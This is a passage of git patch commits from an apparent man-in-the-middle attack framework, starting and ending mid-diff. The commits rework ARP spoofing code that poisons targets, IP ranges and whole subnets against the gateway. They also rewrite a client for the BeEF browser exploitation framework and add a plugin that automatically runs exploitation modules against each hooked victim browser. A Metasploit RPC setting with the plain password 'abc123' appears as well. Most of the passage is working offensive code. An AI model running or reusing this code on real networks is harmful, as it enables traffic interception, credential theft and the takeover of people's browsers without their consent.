ARPpoisoner(): sleep(0.3) send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug) - except Exception, e: - mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) + except Exception as e: + if "Interrupted system call" not in e: + mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) pass - + sleep(self.interval) def restoreNet(self, count): @@ -145,6 +147,7 @@ class ARPpoisoner(): sleep(0.3) send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug) - except Exception, e: - mitmf_logger.error("[ARPpoisoner] Exception occurred while restoring connection {}: {}".format(targetip, e)) + except Exception as e: + if "Interrupted system call" not in e: + mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) pass From 316246e3cc7c74d20d1f5651915fc6a62f9be9f3 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 8 Jun 2015 04:13:55 +0200 Subject: [PATCH 195/323] Re-Wrote Beef-api, refactored the beefAutorun plugin as per #113, this also should address any problems left over from #106 --- config/mitmf.conf | 3 +- core/beefapi.py | 418 ++++++++++++++++++++++++++------------- core/msfrpc.py | 4 +- mitmf.py | 7 +- plugins/BeefAutorun.py | 102 +++++----- plugins/BrowserSniper.py | 2 +- plugins/plugin.py | 4 - 7 files changed, 339 insertions(+), 201 deletions(-) diff --git a/config/mitmf.conf b/config/mitmf.conf index c6a4269..d8bbaab 100644 --- a/config/mitmf.conf +++ b/config/mitmf.conf @@ -21,8 +21,9 @@ msfport = 8080 #Port to start Metasploit's webserver on that will host exploits rpcip = 127.0.0.1 + rpcport = 55552 rpcpass = abc123 - + [[SMB]] # diff --git a/core/beefapi.py b/core/beefapi.py index e8d2ec3..b020153 100644 --- a/core/beefapi.py +++ b/core/beefapi.py @@ -1,26 +1,41 @@ -#!/usr/bin/env python +#! /usr/bin/env python2.7 + +# BeEF-API - A Python API for BeEF (The Browser Exploitation Framework) http://beefproject.com/ + +# Copyright (c) 2015-2016 Marcello Salvati - byt3bl33d3r@gmail.com +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + import requests import json import logging -from random import sample -from string import lowercase, digits + +from UserList import UserList logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message class BeefAPI: def __init__(self, opts=[]): - self.host = "127.0.0.1" or opts.get(host) - self.port = "3000" or opts.get(port) + self.host = opts.get('host') or "127.0.0.1" + self.port = opts.get('port') or "3000" self.token = None - self.url = "http://%s:%s/api/" % (self.host, self.port) + self.url = "http://{}:{}/api/".format(self.host, self.port) self.login_url = self.url + "admin/login" - self.hookurl = self.url + "hooks?token=" - self.mod_url = self.url + "modules?token=" - self.log_url = self.url + "logs?token=" - - def random_url(self): - return "".join(sample(digits + lowercase, 8)) def login(self, username, password): try: @@ -30,142 +45,269 @@ class BeefAPI: if (r.status_code == 200) and (data["success"]): self.token = data["token"] #Auth token + + self.hooks_url = "{}hooks?token={}".format(self.url, self.token) + self.modules_url = "{}modules?token={}".format(self.url, self.token) + self.logs_url = "{}logs?token={}".format(self.url, self.token) + self.dns_url = "{}dns/ruleset?token={}".format(self.url, self.token) + return True elif r.status_code != 200: return False - except Exception, e: - print "beefapi ERROR: %s" % e + except Exception as e: + print "[BeEF-API] Error logging in to BeEF: {}".format(e) - def sessions_online(self): - return self.get_sessions("online", "session") + @property + def hooked_browsers(self): + r = requests.get(self.hooks_url) + return Hooked_Browsers(r.json(), self.url, self.token) - def sessions_offline(self): - return self.get_sessions("offline", "session") - - def session2host(self, session): - return self.conversion(session, "ip") - - def session2id(self, session): - return self.conversion(session, "id") - - def hook_info(self, hook): #Returns parsed information on a session - session = self.conversion(hook, "session") - url = self.hookurl + self.token - r = requests.get(url).json() - - try: - states = ["online", "offline"] - for state in states: - for v in r["hooked-browsers"][state].items(): - if v[1]["session"] == session: - return v[1] - except IndexError: - pass - - def hook_info_all(self, hook): - session = self.conversion(hook, "session") - url = self.url + "hooks/%s?token=%s" % (session, self.token) - return requests.get(url).json() - - def hook_logs(self, hook): - session = self.conversion(hook, "session") - url = self.url + "logs/%s?token=%s" % (session, self.token) - return requests.get(url).json() - - def hosts_online(self): - return self.get_sessions("online", "ip") - - def hosts_offline(self): - return self.get_sessions("offline", "ip") - - def host2session(self, host): - return self.conversion(host, "session") - - def host2id(self, host): - return self.conversion(host, "id") - - def ids_online(self): - return self.get_sessions("online", "id") - - def ids_offline(self): - return self.get_sessions("offline", "id") - - def id2session(self, id): - return self.conversion(id, "session") - - def id2host(self, id): - return self.conversion(id, "ip") - - def module_id(self, name): #Returns module id - url = self.mod_url + self.token - try: - r = requests.get(url).json() - for v in r.values(): - if v["name"] == name: - return v["id"] - except Exception, e: - print "beefapi ERROR: %s" % e - - def module_name(self, id): #Returns module name - url = self.mod_url + self.token - try: - r = requests.get(url).json() - for v in r.values(): - if v["id"] == id: - return v["name"] - except Exception, e: - print "beefapi ERROR: %s" % e - - def module_run(self, hook, mod_id, options={}): #Executes a module on a specified session - try: - session = self.conversion(hook, "session") - headers = {"Content-Type": "application/json", "charset": "UTF-8"} - payload = json.dumps(options) - url = self.url + "modules/%s/%s?token=%s" % (session, mod_id, self.token) - return requests.post(url, headers=headers, data=payload).json() - except Exception, e: - print "beefapi ERROR: %s" % e - - def module_results(self, hook, mod_id, cmd_id): - session = self.conversion(hook, "session") - url = self.mod_url + "%s/%s/%s?token=%s" % (session, mod_id, cmd_id, self.token) - return requests.get(url).json() - - def modules_list(self): - return requests.get(self.mod_url + self.token).json() - - def module_info(self, id): - url = self.url + "modules/%s?token=%s" % (id, self.token) - return requests.get(url).json() + @property + def dns(self): + r = requests.get(self.dns_url) + return DNS(r.json(), self.url, self.token) + @property def logs(self): - return requests.get(self.log_url + self.token).json() + logs = [] + r = requests.get(self.logs_url) + for log in r.json()['logs']: + logs.append(Log(log)) + return logs - def conversion(self, value, return_value): #Helper function for all conversion functions - url = self.hookurl + self.token - try: - r = requests.get(url).json() - states = ["online", "offline"] - for state in states: - for v in r["hooked-browsers"][state].items(): - for r in v[1].values(): - if str(value) == str(r): - return v[1][return_value] + @property + def modules(self): + modules = ModuleList([]) + r = requests.get(self.modules_url) + for k,v in r.json().iteritems(): + modules.append(Module(v, self.url, self.token)) + return modules - except Exception, e: - print "beefapi ERROR: %s" % e +class ModuleList(UserList): - except IndexError: - pass + def __init__(self, mlist): + self.data = mlist - def get_sessions(self, state, value): #Helper function - try: - hooks = [] - r = requests.get(self.hookurl + self.token).json() - for v in r["hooked-browsers"][state].items(): - hooks.append(v[1][value]) + def findbyid(self, m_id): + for m in self.data: + if m_id == m.id: + return m - return hooks - except Exception, e: - print "beefapi ERROR: %s" % e + def findbyname(self, m_name): + pmodules = ModuleList([]) + for m in self.data: + if (m.name.lower().find(m_name.lower()) != -1) : + pmodules.append(m) + return pmodules + +class SessionList(UserList): + + def __init__(self, slist): + self.data = slist + + def findbysession(self, session): + for s in self.data: + if s.session == session: + return s + + def findbyos(self, os): + res = SessionList([]) + for s in self.data: + if (s.os.lower().find(os.lower()) != -1): + res.append(s) + return res + + def findbyip(self, ip): + res = SessionList([]) + for s in self.data: + if ip == s.ip: + res.append(s) + return res + + def findbyid(self, s_id): + for s in self.data: + if s.id == s_id: + return s + + def findbybrowser(self, browser): + res = SessionList([]) + for s in self.data: + if browser == s.name: + res.append(s) + return res + + def findbybrowser_v(self, browser_v): + res = SessionList([]) + for s in self.data: + if browser_v == s.version: + res.append(s) + return res + + def findbypageuri(self, uri): + res = SessionList([]) + for s in self.data: + if uri in s.page_uri: + res.append(s) + return res + + def findbydomain(self, domain): + res = SessionList([]) + for s in self.data: + if domain in s.domain: + res.append(s) + return res + +class Module(object): + + def __init__(self, data, url, token): + self.url = url + self.token = token + + self.id = data['id'] + self.name = data['name'] + self.category = data['category'] + + @property + def options(self): + r = requests.get("{}/modules/{}?token={}".format(self.url, self.id, self.token)).json() + return r['options'] + + @property + def description(self): + r = requests.get("{}/modules/{}?token={}".format(self.url, self.id, self.token)).json() + return r['description'] + + def run(self, session, options={}): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps(options) + r = requests.post("{}/modules/{}/{}?token={}".format(self.url, session, self.id, self.token), headers=headers, data=payload) + return r.json() + + def multi_run(self, options={}, hb_ids=[]): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps({"mod_id":self.id, "mod_params": options, "hb_ids": hb_ids}) + r = requests.post("{}/modules/multi_browser?token={}".format(self.url, self.token), headers=headers, data=payload) + return r.json() + + def results(self, session, cmd_id): + r = requests.get("{}/modules/{}/{}/{}?token={}".format(self.url, session, self.id, cmd_id, self.token)) + return r.json() + +class Log(object): + + def __init__(self, log_dict): + self.id = log_dict['id'] + self.date = log_dict['date'] + self.event = log_dict['event'] + self.type = log_dict['type'] + +class DNS_Rule(object): + + def __init__(self, rule, url, token): + self.url = url + self.token = token + + self.id = rule['id'] + self.pattern = rule['pattern'] + self.type = rule['type'] + self.response = rule=['response'] + + def delete(self): + r = requests.delete("{}/dns/rule/{}?token={}".format(self.url, self.id, self.token)) + return r.json() + +class DNS(object): + + def __init__(self, data, url, token): + self.data = data + self.url = url + self.token = token + + @property + def ruleset(self): + ruleset = [] + r = requests.get("{}/dns/ruleset?token={}".format(self.url, self.token)) + for rule in r.json()['ruleset']: + ruleset.append(DNS_Rule(rule, self.url, self.token)) + return ruleset + + def add(self, pattern, resource, response=[]): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps({"pattern": pattern, "resource": resource, "response": response}) + r = requests.post("{}/dns/rule?token={}".format(self.url, self.token), headers=headers, data=payload) + return r.json() + + def delete(self, rule_id): + r = requests.delete("{}/dns/rule/{}?token={}".format(self.url, rule_id, self.token)) + return r.json() + +class Hooked_Browsers(object): + + def __init__(self, data, url, token): + self.data = data + self.url = url + self.token = token + + @property + def online(self): + sessions = SessionList([]) + for k,v in self.data['hooked-browsers']['online'].iteritems(): + sessions.append(Session(v['session'], self.data, self.url, self.token)) + return sessions + + @property + def offline(self): + sessions = SessionList([]) + for k,v in self.data['hooked-browsers']['offline'].iteritems(): + sessions.append(Session(v['session'], self.data, self.url, self.token)) + return sessions + +class Session(object): + + def __init__(self, session, data, url, token): + self.session = session + self.data = data + self.url = url + self.token = token + + self.domain = self.get_property('domain') + self.id = self.get_property('id') + self.ip = self.get_property('ip') + self.name = self.get_property('name') #Browser name + self.os = self.get_property('os') + self.page_uri = self.get_property('page_uri') + self.platform = self.get_property('platform') #Ex. win32 + self.port = self.get_property('port') + self.version = self.get_property('version') #Browser version + + @property + def details(self): + r = requests.get('{}/hooks/{}?token={}'.format(self.url, self.session, self.token)) + return r.json() + + @property + def logs(self): + logs = [] + r = requests.get('{}/logs/{}?token={}'.format(self.url, self.session, self.token)) + for log in r.json()['logs']: + logs.append(Log(log)) + return logs + + def run(self, module_id, options={}): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps(options) + r = requests.post("{}/modules/{}/{}?token={}".format(self.url, self.session, module_id, self.token), headers=headers, data=payload) + return r.json() + + def multi_run(self, options={}): + headers = {"Content-Type": "application/json", "charset": "UTF-8"} + payload = json.dumps({"hb": self.session, "modules":[options]}) + r = requests.post("{}/modules/multi_module?token={}".format(self.url, self.token), headers=headers, data=payload) + return r.json() + + def get_property(self, key): + for k,v in self.data['hooked-browsers'].iteritems(): + for l,s in v.iteritems(): + if self.session == s['session']: + return s[key] diff --git a/core/msfrpc.py b/core/msfrpc.py index 51e51c2..aa906c1 100644 --- a/core/msfrpc.py +++ b/core/msfrpc.py @@ -95,7 +95,9 @@ class Msf: ''' def __init__(self): try: - self.msf = Msfrpc({"host": ConfigWatcher.config['MITMf']['Metasploit']['rpcip']}) + self.msf = Msfrpc({"host": ConfigWatcher.config['MITMf']['Metasploit']['rpcip'], + "port": ConfigWatcher.config['MITMf']['Metasploit']['rpcport']}) + self.msf.login('msf', ConfigWatcher.config['MITMf']['Metasploit']['rpcpass']) except Exception as e: shutdown("[Msfrpc] Error connecting to Metasploit: {}".format(e)) diff --git a/mitmf.py b/mitmf.py index 6e21431..a569e2d 100755 --- a/mitmf.py +++ b/mitmf.py @@ -158,9 +158,10 @@ for p in ProxyPlugins.getInstance().plist: p.pluginReactor(strippingFactory) #we pass the default strippingFactory, so the plugins can use it p.startConfigWatch() - t = threading.Thread(name='{}-thread'.format(p.name), target=p.startThread, args=(args,)) - t.setDaemon(True) - t.start() + if hasattr(p, 'startThread'): + t = threading.Thread(name='{}-Thread'.format(p.name), target=p.startThread) + t.setDaemon(True) + t.start() print "|" print "|_ Sergio-Proxy v{} online".format(sergio_version) diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py index c77fcb9..1ff520f 100644 --- a/plugins/BeefAutorun.py +++ b/plugins/BeefAutorun.py @@ -21,6 +21,7 @@ import logging import sys import json +import threading from time import sleep from core.beefapi import BeefAPI @@ -44,9 +45,6 @@ class BeefAutorun(Inject, Plugin): Inject.initialize(self, options) self.tree_info.append("Mode: {}".format(self.config['BeEFAutorun']['mode'])) - self.onConfigChange() - - def onConfigChange(self): beefconfig = self.config['MITMf']['BeEF'] @@ -54,73 +52,71 @@ class BeefAutorun(Inject, Plugin): self.beef = BeefAPI({"host": beefconfig['beefip'], "port": beefconfig['beefport']}) if not self.beef.login(beefconfig['user'], beefconfig['pass']): - shutdown("[-] Error logging in to BeEF!") + shutdown("[BeEFAutorun] Error logging in to BeEF!") - def startThread(self, options): + def startThread(self): self.autorun() + def onConfigChange(self): + self.initialize(self.options) + def autorun(self): already_ran = [] already_hooked = [] while True: mode = self.config['BeEFAutorun']['mode'] - sessions = self.beef.sessions_online() - if (sessions is not None and len(sessions) > 0): - for session in sessions: - if session not in already_hooked: - info = self.beef.hook_info(session) - mitmf_logger.info("{} >> joined the horde! [id:{}, type:{}-{}, os:{}]".format(info['ip'], info['id'], info['name'], info['version'], info['os'])) - already_hooked.append(session) - self.black_ips.append(str(info['ip'])) + for hook in self.beef.hooked_browsers.online: - if mode == 'oneshot': - if session not in already_ran: - self.execModules(session) - already_ran.append(session) + if hook.session not in already_hooked: + mitmf_logger.info("{} [BeEFAutorun] Joined the horde! [id:{}, type:{}-{}, os:{}]".format(hook.ip, hook.id, hook.name, hook.version, hook.os)) + already_hooked.append(hook.session) + self.black_ips.append(hook.ip) - elif mode == 'loop': - self.execModules(session) - sleep(10) + if mode == 'oneshot': + if hook.session not in already_ran: + self.execModules(hook) + already_ran.append(hook.session) - else: - sleep(1) + elif mode == 'loop': + self.execModules(hook) + sleep(10) - def execModules(self, session): - session_info = self.beef.hook_info(session) - session_ip = session_info['ip'] - hook_browser = session_info['name'] - hook_os = session_info['os'] + sleep(1) + + def execModules(self, hook): all_modules = self.config['BeEFAutorun']["ALL"] targeted_modules = self.config['BeEFAutorun']["targets"] - if len(all_modules) > 0: - mitmf_logger.info("{} >> sending generic modules".format(session_ip)) + if all_modules: + mitmf_logger.info("{} [BeEFAutorun] Sending generic modules".format(hook.ip)) + for module, options in all_modules.iteritems(): - mod_id = self.beef.module_id(module) - resp = self.beef.module_run(session, mod_id, json.loads(options)) - if resp["success"] == 'true': - mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id)) - else: - mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id)) + + for m in self.beef.modules.findbyname(module): + resp = m.run(hook.session, json.loads(options)) + + if resp["success"] == 'true': + mitmf_logger.info('{} [BeEFAutorun] Sent module {}'.format(hook.ip, m.id)) + else: + mitmf_logger.info('{} [BeEFAutorun] Error sending module {}'.format(hook.ip, m.id)) + sleep(0.5) - for os in targeted_modules: - if (hook_browser is not None) and (hook_os is not None): - mitmf_logger.info("{} >> sending targeted modules".format(session_ip)) - if (os in hook_os) or (os == hook_os): - browsers = targeted_modules[os] - if len(browsers) > 0: - for browser in browsers: - if browser == hook_browser: - modules = targeted_modules[os][browser] - if len(modules) > 0: - for module, options in modules.iteritems(): - mod_id = self.beef.module_id(module) - resp = self.beef.module_run(session, mod_id, json.loads(options)) - if resp["success"] == 'true': - mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id)) - else: - mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id)) - sleep(0.5) + if (hook.name and hook.os): + for os in targeted_modules: + if (os == hook.os) or (os in hook.os): + mitmf_logger.info("{} [BeEFAutorun] Sending targeted modules".format(hook.ip)) + + for browser in targeted_modules[os]: + if browser == hook.name: + for module, options in targeted_modules[os][browser].iteritems(): + for m in self.beef.modules.findbyname(module): + resp = m.run(hook.session, json.loads(options)) + if resp["success"] == 'true': + mitmf_logger.info('{} [BeEFAutorun] Sent module {}'.format(hook.ip, m.id)) + else: + mitmf_logger.info('{} [BeEFAutorun] Error sending module {}'.format(hook.ip, m.id)) + + sleep(0.5) diff --git a/plugins/BrowserSniper.py b/plugins/BrowserSniper.py index e74c405..c338908 100644 --- a/plugins/BrowserSniper.py +++ b/plugins/BrowserSniper.py @@ -48,7 +48,7 @@ class BrowserSniper(BrowserProfiler, Plugin): msfversion = Msf().version() self.tree_info.append("Connected to Metasploit v{}".format(msfversion)) - def startThread(self, options): + def startThread(self): self.snipe() def onConfigChange(self): diff --git a/plugins/plugin.py b/plugins/plugin.py index 053adc4..ff0dd97 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -19,10 +19,6 @@ class Plugin(ConfigWatcher, object): '''Called if plugin is enabled, passed the options namespace''' self.options = options - def startThread(self, options): - '''Anything that will subclass this function will be a thread, passed the options namespace''' - return - def clientRequest(self, request): ''' Handles all outgoing requests, hooks connectionMade() From 2f9b8ff77a5bb32b86f71c40294501c3fdf4f418 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 8 Jun 2015 04:35:18 +0200 Subject: [PATCH 196/323] Merged branch webserver into master, the actual built-in webserver isn't ready yet but the changes to the SMB server are, we can now define shares in the config and start the SMB server in Karma mode! \o/ --- core/poisoners/arp/ARPpoisoner.py | 6 +++--- requirements.txt | 1 - 2 files changed, 3 insertions(+), 4 deletions(-) diff --git a/core/poisoners/arp/ARPpoisoner.py b/core/poisoners/arp/ARPpoisoner.py index 668ce48..f9d0509 100644 --- a/core/poisoners/arp/ARPpoisoner.py +++ b/core/poisoners/arp/ARPpoisoner.py @@ -86,7 +86,7 @@ class ARPpoisoner(): targetmac = getmacbyip(targetip) if targetmac is None: - mitmf_logger.error("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) + mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) elif targetmac: send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug) @@ -113,7 +113,7 @@ class ARPpoisoner(): targetmac = getmacbyip(targetip) if targetmac is None: - mitmf_logger.error("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) + mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) elif targetmac: send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug) @@ -138,7 +138,7 @@ class ARPpoisoner(): targetmac = getmacbyip(targetip) if targetmac is None: - mitmf_logger.error("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) + mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) elif targetmac: mitmf_logger.info("[ARPpoisoner] Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count)) diff --git a/requirements.txt b/requirements.txt index 05433f1..1df0c6a 100644 --- a/requirements.txt +++ b/requirements.txt @@ -13,5 +13,4 @@ service_identity watchdog impacket capstone -tornado pypcap \ No newline at end of file From e3aa8ba617ed3644b443030990298405a2dae225 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Mon, 8 Jun 2015 13:38:45 +0200 Subject: [PATCH 197/323] fixes #117 --- core/poisoners/arp/ARPpoisoner.py | 186 +++++++++++++++++++++--------- plugins/SSLstrip+.py | 1 + requirements.txt | 1 + 3 files changed, 132 insertions(+), 56 deletions(-) diff --git a/core/poisoners/arp/ARPpoisoner.py b/core/poisoners/arp/ARPpoisoner.py index f9d0509..8816665 100644 --- a/core/poisoners/arp/ARPpoisoner.py +++ b/core/poisoners/arp/ARPpoisoner.py @@ -1,5 +1,8 @@ import logging import threading + +from traceback import print_exc +from netaddr import IPNetwork, IPRange, IPAddress, AddrFormatError from time import sleep from core.utils import shutdown from scapy.all import * @@ -10,7 +13,11 @@ class ARPpoisoner(): def __init__(self, gateway, interface, mac, targets): - self.gatewayip = gateway + try: + self.gatewayip = str(IPAddress(gateway)) + except AddrFormatError as e: + shutdown("[ARPpoisoner] Specified an invalid IP address as gateway") + self.gatewaymac = getmacbyip(gateway) self.mymac = mac self.targets = self.getTargetRange(targets) @@ -23,22 +30,26 @@ class ARPpoisoner(): def getTargetRange(self, targets): if targets is None: return None + + try: + targetList = [] - targetList = list() - targets = targets.split(",") - for target in targets: - if "-" in target: - max_range = int(target.split("-")[1]) - octets = target.split("-")[0].split(".") - f3_octets = ".".join(octets[0:3]) - l_octet = int(octets[3]) + for target in targets.split(','): + if '/' in target: + targetList.append(IPNetwork(target)) - for ip in xrange(l_octet, max_range+1): - targetList.append('{}.{}'.format(f3_octets, ip)) - else: - targetList.append(target) + elif '-' in target: + first_half = target.split('-')[0] + second_half = first_half + target.split('-')[1] + targetList.append(IPRange(first_half, second_half)) - return targetList + else: + targetList.append(IPAddress(target)) + + return targetList + + except AddrFormatError as e: + shutdown("[ARPpoisoner] Specified an invalid IP address/range/network as target") def start(self): if self.gatewaymac is None: @@ -81,22 +92,43 @@ class ARPpoisoner(): elif self.targets: #Since ARP spoofing relies on knowing the targets MAC address, this whole portion is just error handling in case we can't resolve it - for targetip in self.targets: - try: - targetmac = getmacbyip(targetip) + for target in self.targets: - if targetmac is None: - mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) + if type(target) is IPAddress: + targetip = str(target) - elif targetmac: - send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug) - sleep(0.3) - send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug) + try: + targetmac = getmacbyip(targetip) - except Exception as e: - if "Interrupted system call" not in e: - mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) - pass + if targetmac is None: + mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) + + elif targetmac: + send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug) + send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug) + + except Exception as e: + if "Interrupted system call" not in e: + mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) + pass + + if (type(target) is IPRange) or (type(target) is IPNetwork): + for targetip in target: + try: + targetmac = getmacbyip(str(targetip)) + + if targetmac is None: + mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) + + elif targetmac: + send(ARP(pdst=str(targetip), psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug) + send(ARP(pdst=self.gatewayip, psrc=str(targetip), hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug) + + except Exception as e: + if "Interrupted system call" not in e: + mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) + print_exc() + pass sleep(self.interval) @@ -108,22 +140,42 @@ class ARPpoisoner(): sendp(pkt, iface=self.interface, verbose=self.debug) #sends at layer 2 elif self.targets: - for targetip in self.targets: - try: - targetmac = getmacbyip(targetip) - - if targetmac is None: - mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) + + for target in self.targets: - elif targetmac: - send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug) - sleep(0.3) - send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug) + if type(target) is IPAddress: + targetip = str(target) + try: + targetmac = getmacbyip(targetip) + + if targetmac is None: + mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) - except Exception as e: - if "Interrupted system call" not in e: - mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) - pass + elif targetmac: + send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug) + send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug) + + except Exception as e: + if "Interrupted system call" not in e: + mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) + pass + + if (type(target) is IPRange) or (type(target) is IPNetwork): + for targetip in target: + try: + targetmac = getmacbyip(str(targetip)) + + if targetmac is None: + mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) + + elif targetmac: + send(ARP(pdst=str(targetip), psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug) + send(ARP(pdst=self.gatewayip, psrc=str(targetip), hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug) + + except Exception as e: + if "Interrupted system call" not in e: + mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) + pass sleep(self.interval) @@ -133,21 +185,43 @@ class ARPpoisoner(): sendp(pkt, inter=self.interval, count=count, iface=self.interface, verbose=self.debug) #sends at layer 2 def restoreTarget(self, count): - for targetip in self.targets: - try: - targetmac = getmacbyip(targetip) - - if targetmac is None: - mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) + for target in self.targets: - elif targetmac: - mitmf_logger.info("[ARPpoisoner] Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count)) + if type(target) is IPAddress: + targetip = str(target) - send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug) - sleep(0.3) - send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug) + try: + targetmac = getmacbyip(targetip) + + if targetmac is None: + mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) - except Exception as e: - if "Interrupted system call" not in e: - mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) - pass + elif targetmac: + mitmf_logger.info("[ARPpoisoner] Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count)) + + send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug) + send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug) + + except Exception as e: + if "Interrupted system call" not in e: + mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) + pass + + if (type(target) is IPRange) or (type(target) is IPNetwork): + for targetip in target: + try: + targetmac = getmacbyip(str(targetip)) + + if targetmac is None: + mitmf_logger.debug("[ARPpoisoner] Unable to resolve MAC address of {}".format(targetip)) + + elif targetmac: + mitmf_logger.info("[ARPpoisoner] Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count)) + + send(ARP(op="is-at", pdst=self.gatewayip, psrc=str(targetip), hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug) + send(ARP(op="is-at", pdst=str(targetip), psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug) + + except Exception as e: + if "Interrupted system call" not in e: + mitmf_logger.error("[ARPpoisoner] Exception occurred while poisoning {}: {}".format(targetip, e)) + pass diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py index b346b35..78c9de4 100644 --- a/plugins/SSLstrip+.py +++ b/plugins/SSLstrip+.py @@ -24,6 +24,7 @@ import logging from plugins.plugin import Plugin from core.sslstrip.URLMonitor import URLMonitor from core.servers.dns.DNSchef import DNSChef +from core.utils import IpTables class HSTSbypass(Plugin): name = 'SSLstrip+' diff --git a/requirements.txt b/requirements.txt index 1df0c6a..5c50c81 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,5 +1,6 @@ Twisted requests +netaddr scapy msgpack-python dnspython From 